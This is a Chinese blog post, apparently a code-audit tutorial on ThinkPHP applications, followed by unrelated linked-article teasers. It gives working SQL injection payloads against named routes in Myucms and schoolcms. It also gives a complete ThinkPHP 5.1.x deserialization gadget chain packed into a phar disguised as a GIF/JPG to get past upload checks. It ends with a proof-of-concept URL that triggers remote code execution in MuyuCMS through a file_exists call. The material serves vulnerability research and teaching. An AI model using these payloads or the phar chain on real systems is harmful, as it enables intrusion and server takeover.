ThinkPHP审计(1) 不安全的SQL注入PHP反序列化链子phar利用简单的CMS审计实例

news2025/2/28 12:01:00

ThinkPHP代码审计(1) 不安全的SQL注入&PHP反序列化链子phar利用&简单的CMS审计实例

文章目录

  • ThinkPHP代码审计(1) 不安全的SQL注入&PHP反序列化链子phar利用&简单的CMS审计实例
  • 一.Thinkphp5不安全的SQL写法
  • 二.Thinkphp3 SQL注入
  • 三.Thinkphp链5.1.x结合phar实现RCE
    • 1.自动生成
    • 2.手动构造
    • 实例分析

一.Thinkphp5不安全的SQL写法

Thinkphp官方提供了SQL接口,已经为SQL语句进行了预编译

但是不安全的写法,仍然可以造成SQL注入

https://www.kancloud.cn/manual/thinkphp5/135176

image-20240401193819525

//官方写法

public function login(Request $request)

{

​	//index.php/admin/login/login1/id/1) and updatexml(1,concat(0x7e,user(),0x7e),1)%23

​    $id=$request->param('id');

​    $data=Db::table('cw_admin')->where('id',$id)->find();//以数组形式传递

​    return $data['user'].'|'.$data['pass'];

}

​ 这里的SQL语句,相等于直接进行SQL语句拼接

//不安全写法

public function login1(Request $request)

{

​    //index.php/admin/login/login1/id/1) and updatexml(1,concat(0x7e,user(),0x7e),1)%23

​    $id=$request->param('id');

​    $data=Db::table('cw_admin')->where("id = $id")->find();//直接进行赋值

​    return $data['user'].'|'.$data['pass'];

}

比如Myucms 2021版 中 前台SQL 注入

image-20240401195437179

可以判断是基于Thinkphp 5.0.24二开的

我们暂时忽略后台SQL,没有实战意义

image-20240401194347564

可以发现在application/bbs/controller/User.php

前台bbs可能存在 SQL注入

    public function xiaoxidel($ids)
    {
        if (!session('userid') || !session('username')) {
            $this->error('亲!请登录',url('bbs/login/index'));
        } else {
        	if ($ids==0) {
        	$id = input('id');
        	$data['open'] = 1;
			if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->update($data)) {
				return json(array('code' => 200, 'msg' => '标记已读成功'));
			} else {
				return json(array('code' => 0, 'msg' => '标记已读失败'));
			}
        	}elseif ($ids==1){
        	$id = input('id');
			if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->delete($id)) {
				return json(array('code' => 200, 'msg' => '彻底删除成功'));
			} else {
				return json(array('code' => 0, 'msg' => '彻底删除失败'));
			}
        	}
        }
    }

image-20240401194642137

在功能点处 xiaoxidel为了触发 SQL语句

1.保证登录用户登录状态session

2.ids=0

3.id=payload

可以访问路由/index.php/bbs/User/xiaoxidel 判断功能点存在

image-20240401195035273

/index.php/bbs/User/xiaoxidel/ids/0/id/1 and updatexml(1,concat("~",user(),"~"),1)可以判断确实存在SQL注入

image-20240401195237890

也可以黑盒测试一下 也存在SQL注入

image-20240401200109110

二.Thinkphp3 SQL注入

原理分析:https://www.freebuf.com/articles/web/345544.html

schoolcms也是基于MVC-thinkphp框架实现二开

https://github.com/gongfuxiang/schoolcms

image-20240401202321016

基于 Thinkphp 3.2

顺便访问一下网站

注意路由访问方式index.php?m=Home&c=Article&a=Index&id=1

Application/Admin/Controller/ArticleController.class.php

SaveInfo功能

这里直接拼接可控变量到查询语句中

image-20240401204855791

判断功能点存在 index.php?m=Admin&c=Article&a=SaveInfo

测试了一下爆错,没有数据回显

测下 时间盲注index.php?m=Admin&c=Article&a=SaveInfo&id[where]=id=1 and sleep(3) %23

image-20240401210226126

可以判断存在SQL时间盲注

三.Thinkphp链5.1.x结合phar实现RCE

thinkphp 5.0.x思路类似

渗透实战中,往往使用phpggc实现快速利用

image-20240405182301081

结合已知的phpggc小工具利用链+文件上传功能phar文件

常见触发 phar 关键函数 (和文件流相关操作有关) 实现隐式反序列化

image-20240401211202391

原理:

Phar文件结构
phar文件是php里类似于JAR的一种打包文件本质上是一种压缩文件,在PHP 5.3 或更高版本中默认开启,一个phar文件一个分为四部分

1.a stub
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();来结尾,否则phar扩展将无法识别这个文件为phar文件
2.a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方
3.the file contents
被压缩文件的内容
4.[optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾

当通过phar伪协议访问 phar文件时会自动反序列化 属性

等价于实现了 unserialize(phar的属性)

常用

file_exists(),is_dir(),fopen(),file_get_contents(),file()等文件操作的函数

image-20240401210709920

1.自动生成

./phpggc -s ThinkPHP/RCE1 system calc -pj Cat03.jpg -o cat.jpg

image-20240401221232559

现在只要有上传点+phar就可以实现RCE了

2.手动构造

结合gadgets.php

<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}

namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("smi1e" => "1");
    }

    trait Attribute
    {
        private $data;
        private $withAttr = array("smi1e" => "system");

        public function get($system)
        {
            $this->data = array("smi1e" => "$system");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct($system)
        {
            $this->get($system);
        }
    }
}

在chain.php中

<?php

namespace GadgetChain\ThinkPHP;

class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
    public static $version = '5.1.x-5.2.x';
    public static $vector = '__destruct';
    public static $author = 'Smi1e';
    public static $information = '
        This chain can only execute system().
        Because the second parameter is uncontrollable
    ';

    public function generate(array $parameters)
    {
        $function = $parameters['function'];
        $parameter = $parameters['parameter'];
        $Conver = new \think\model\Pivot($parameter);
        return new \think\process\pipes\Windows($Conver);
    }
}

定义namespace命名空间

return回来的数据就是序列化的数据

<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}

namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("smi1e" => "1");
    }

    trait Attribute
    {
        private $data;
        private $withAttr = array("smi1e" => "system");

        public function get()
        {
            $this->data = array("smi1e" => "calc");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct()
        {
            $this->get();
        }
    }
}

namespace {

    $conver = new think\model\Pivot();
    $a = new think\process\pipes\Windows($conver);


    $phar = new Phar('x.phar');
    $phar -> stopBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
    $phar -> addFromString('test.txt','test');
    $phar -> setMetadata($a);
    $phar -> stopBuffering();
}
?>

phar签名添加GIF89a绕过图片类型检测

实例分析

以MuyuCMS木鱼cms审计为例子

存在后台图片上传+phar实getshell的效果

https://github.com/MuYuCMS/MuYuCMS

先查看index.php 判断应用入口

image-20240405174053457

判断内置thinkphp版本 5.1.41 可以拿通用的5.1.X反序列化链打

image-20240405174926260

可以全局搜索一些关键函数

file_exists(),fopen(),file_get_contents(),file()等文件操作的函数

比如在application/admin/controller/Update.php存在判断file_exists

image-20240405175423531

public function rmdirr($dirname)
    {
        // Sanity check
        if (!file_exists($dirname)) {
            return false;
        }
        // Simple delete for a file
        if (is_file($dirname) || is_link($dirname)) {
            return unlink($dirname);
        }
        // Loop through the folder
        $dir = dir($dirname);
        while (false !== $entry = $dir->read()) {
            // Skip pointers
            if ($entry == '.' || $entry == '..') {
                continue;
            }
    		if($entry == 'mdata'){
    			continue;
    		}
            // Recurse
            $this->rmdirr($dirname . DIRECTORY_SEPARATOR . $entry);
        }
        // Clean up
        $dir->close();
        return rmdir($dirname);
    }
  1. 目标函数名是 rmdirr
  2. 没有判断需要绕过
  3. 可控dirname的值
application/admin/controller/Update.php
对应的路由

host/admin.php/update/rmdir.html?dirname=phar://

image-20240405175831128

可以在内容上传处存在 尝试上传 phpgcc一把梭的文件

image-20240405180731943

发现对 文件头做了过滤,但是我们可以手工生成一下phar链

弹出一个计算器就算成功

<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}

namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("smi1e" => "1");
    }

    trait Attribute
    {
        private $data;
        private $withAttr = array("smi1e" => "system");

        public function get()
        {
            $this->data = array("smi1e" => "calc");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct()
        {
            $this->get();
        }
    }
}

namespace {

    $conver = new think\model\Pivot();
    $a = new think\process\pipes\Windows($conver);


    $phar = new Phar('x.phar');
    $phar -> stopBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
    $phar -> addFromString('test.txt','test');
    $phar -> setMetadata($a);
    $phar -> stopBuffering();
}
?>

修改phar后缀为jpg文件后缀

可以成功上传phar文件

image-20240405181519940

/public/upload/images/660fcf186ab58.jpg

POC

http://127.0.0.13//admin.php/update/rmdirr?dirname=phar://.//public/upload/images/660fcf186ab58.jpg

image-20240405182021357

可以实现攻击

下篇文章结合thinkphp5.x的原理实现做几道最近的CTF题

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1585101.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于springboot+vue+Mysql的线上教学平台

开发语言&#xff1a;Java框架&#xff1a;springbootJDK版本&#xff1a;JDK1.8服务器&#xff1a;tomcat7数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09;数据库工具&#xff1a;Navicat11开发软件&#xff1a;eclipse/myeclipse/ideaMaven包&#xff1a;…

【C++题解】1329. 求梯形的面积

问题&#xff1a;1329. 求梯形的面积 类型&#xff1a;基本运算、小数运算 题目描述&#xff1a; 梯形面积的求解公式为S(ab)h/2 。从键盘读入一个梯形的上底 a、下底 b 和高 h &#xff0c;请计算表梯形的面积。&#xff08;结果保留1位小数&#xff09;。&#xff08;5.1.1…

企业加密软件好用的有哪些?电脑文件安全守护不容错过

近年来泄密问题频发&#xff0c;重要数据外泄造成公司损失&#xff0c;越来越多的企业开始使用防泄密软件&#xff0c;来保护公司内部数据安全&#xff0c;防止信息泄露的问题出现&#xff0c;维护公司权益。那么&#xff0c;既然要使用防泄密软件&#xff0c;必然是要安装有用…

unity数组

数组的定义 动态初始化:在定义数组时只指定数组的长度&#xff0c;由系统自动为元素赋初值的方式。 静态初始化:定义数组的同时就为数组的每个元素赋值 数组的静态初始化有两种方式 1、类型门数组名new 类型[]{元素&#xff0c;元素&#xff0c;…}; 2、类型[数组名{元素&am…

股票高胜率的交易法则是什么?

股票交易中的高胜率交易法则并非一成不变&#xff0c;而是根据市场状况、个人投资风格和经验等多种因素综合而定的。以下是一些有助于提升交易胜率的法则和策略&#xff1a; 1.趋势跟踪法则&#xff1a;在股票交易中&#xff0c;趋势跟踪是一种有效的策略。通过观察大盘和个股…

前端学习<四>JavaScript基础——16-内置对象:Number和Math

内置对象 Number 的常见方法 Number.isInteger() 判断是否为整数 语法&#xff1a; 布尔值 Number.isInteger(数字); toFixed() 小数点后面保留多少位 语法&#xff1a; 字符串 myNum.toFixed(num); 解释&#xff1a;将数字 myNum 的小数点后面保留 num 位小数&#xff…

Redis从入门到精通(九)Redis实战(六)基于Redis队列实现异步秒杀下单

↑↑↑请在文章开头处下载测试项目源代码↑↑↑ 文章目录 前言4.5 分布式锁-Redisson4.5.4 Redission锁重试4.5.5 WatchDog机制4.5.5 MutiLock原理 4.6 秒杀优化4.6.1 优化方案4.6.2 完成秒杀优化 4.7 Redis消息队列4.7.1 基于List实现消息队列4.7.2 基于PubSub的消息队列4.7.…

中国独立开发者项目列表

1. 为什么有这个表 作为开发者其实比较好奇其他人在做什么业余项目(不管目的是做到盈利/玩票/试试看) 所以特意建了这个库。欢迎各位开发者把自己的项目加进来~ 发 Pull Request 或 Issue 即可 (入选标准:必须是网站或App,不能是开发者工具或论坛型网站) 地址:GitHub - …

C++ | Leetcode C++题解之第22题括号生成

题目&#xff1a; 题解&#xff1a; class Solution { public:vector<string> res; //记录答案 vector<string> generateParenthesis(int n) {dfs(n , 0 , 0, "");return res;}void dfs(int n ,int lc, int rc ,string str){if( lc n && rc n…

iOS file not found

情况1&#xff1a; framework中import其他framework时报file not found的错误 解决办法&#xff1a;framework search path 和 header search path 拖入其他.a或者.framework的存放路径&#xff0c;让当前的framework通过路径可以找到引用的.a或者.framework即可

只为兴趣,2024年你该学什么编程?

讲动人的故事,写懂人的代码 当你想学编程但不是特别关心找工作的时候,选哪种语言学完全取决于你自己的目标、兴趣和能找到的学习资料。一个很重要的点,别只学一种语言啊!毕竟,"门门都懂,样样皆通",每种编程语言都有自己的优点和适合的用途,多学几种可以让你的…

C:数据结构之链栈(不带头)

目录 前序 准备工作 函数声明 函数接口 1.初始化 2.创造节点 3. 判断栈空 4.入栈 5.出栈 6.取栈顶元素 7.销毁栈 8. 获取栈的元素个数 总结 前序 链栈是基于单链表实现的,其实栈更加适合使用顺序表来实现的,这篇文章我们来探讨一下链栈的实现。 准备工作 老规…

前端学习<四>JavaScript基础——14-基本包装类型

基本数据类型不能绑定属性和方法 属性和方法只能添加给对象&#xff0c;不能添加给基本数据类型。我们拿字符串来举例。 1、基本数据类型&#xff1a; 基本数据类型string是无法绑定属性和方法的。 var str qianguyihao;​str.aaa 12;console.log(typeof str); //打印结果…

关于maven项目下载依赖地址非指定配置文件地址

情形&#xff1a;新建idea项目后去指定setting文件下的仓库路径下载依赖 当去下载依赖时报错的地址并非我所指定的setting-aly.xml下的地址 最后发现idea 依赖的下载并没有去我所指定的setting-aly.xml去下载依赖而是默认去了setting.xml文件下去下载 结论&#xff1a;改为s…

【示例】Mybatis-标签学习+Mybatis工作流程

前言 本文主要学习Mybatis相关标签的使用及Mybatis的工作流程。 文中用到的示例&#xff0c;代码存储位置&#xff1a; GitHubhttps://github.com/Web-Learn-GSF/Java_Learn_Examples父工程Java_Framework_Mybatis 基础 示例 | 初始Mybatis 数据库初始化 -- 建表 CREATE…

Golang | Leetcode Golang题解之第22题括号生成

题目&#xff1a; 题解&#xff1a; var res []stringfunc generateParenthesis(n int) []string {res make([]string, 0)dfs(n, 0, 0, "")return res }func dfs(n int, lc int, rc int, path string) {if lc n && rc n {res append(res, path)return }…

一键下载 M3U8 并转换为 MP4升级版

之前的下载 M3U8程序&#xff0c;有很多问题&#xff0c; 为此做了一些升级&#xff0c;分享给大家。 增加了存在播放列表的情况处理播放列表路径和ts路径错误问题多线程问题对于电视剧多文件下载的处理 这里从网上找了一部的链接&#xff0c;可以参考这个网站https://www.zu…

YOLOV5训练KITTI数据集实践

目录 一、YOLOV5下载安装二、KITTI数据集三、标签格式转换四、修改配置文件五、训练六、测试 一、YOLOV5下载安装 git clone https://github.com/ultralytics/yolov5.git conda create -n yolov5 python3.8 -y conda activate yolov5 cd yolov5 pip install -r requirements.t…

百度OCR身份证识别C++离线SDKV3.0 C#对接

百度OCR身份证识别C离线SDKV3.0 C#对接 目录 说明 效果 问题 项目 代码 下载 说明 自己根据SDK封装了动态库&#xff0c;然后C#调用。 SDK 简介 本 SDK 适应于于 Windows 平台下的⾝份证识别系统,⽀持 C接⼜开发的 SDK,开发者可在VS2015 下⾯进⾏开发&#xff08;推荐…

基于FPGA的HDMI设计导航页面

FPGA使用HDMI更多时候用于传输图像数据&#xff0c;并不会传输音频数据&#xff0c;因此以下文章均采用DVI接口协议&#xff0c;HDMI与DVI的视频传输协议基本一致&#xff0c;区别也很小。 首先需要了解HDMI的来源&#xff0c;以及物理接口类型以及引脚信号&#xff0c;最后对几…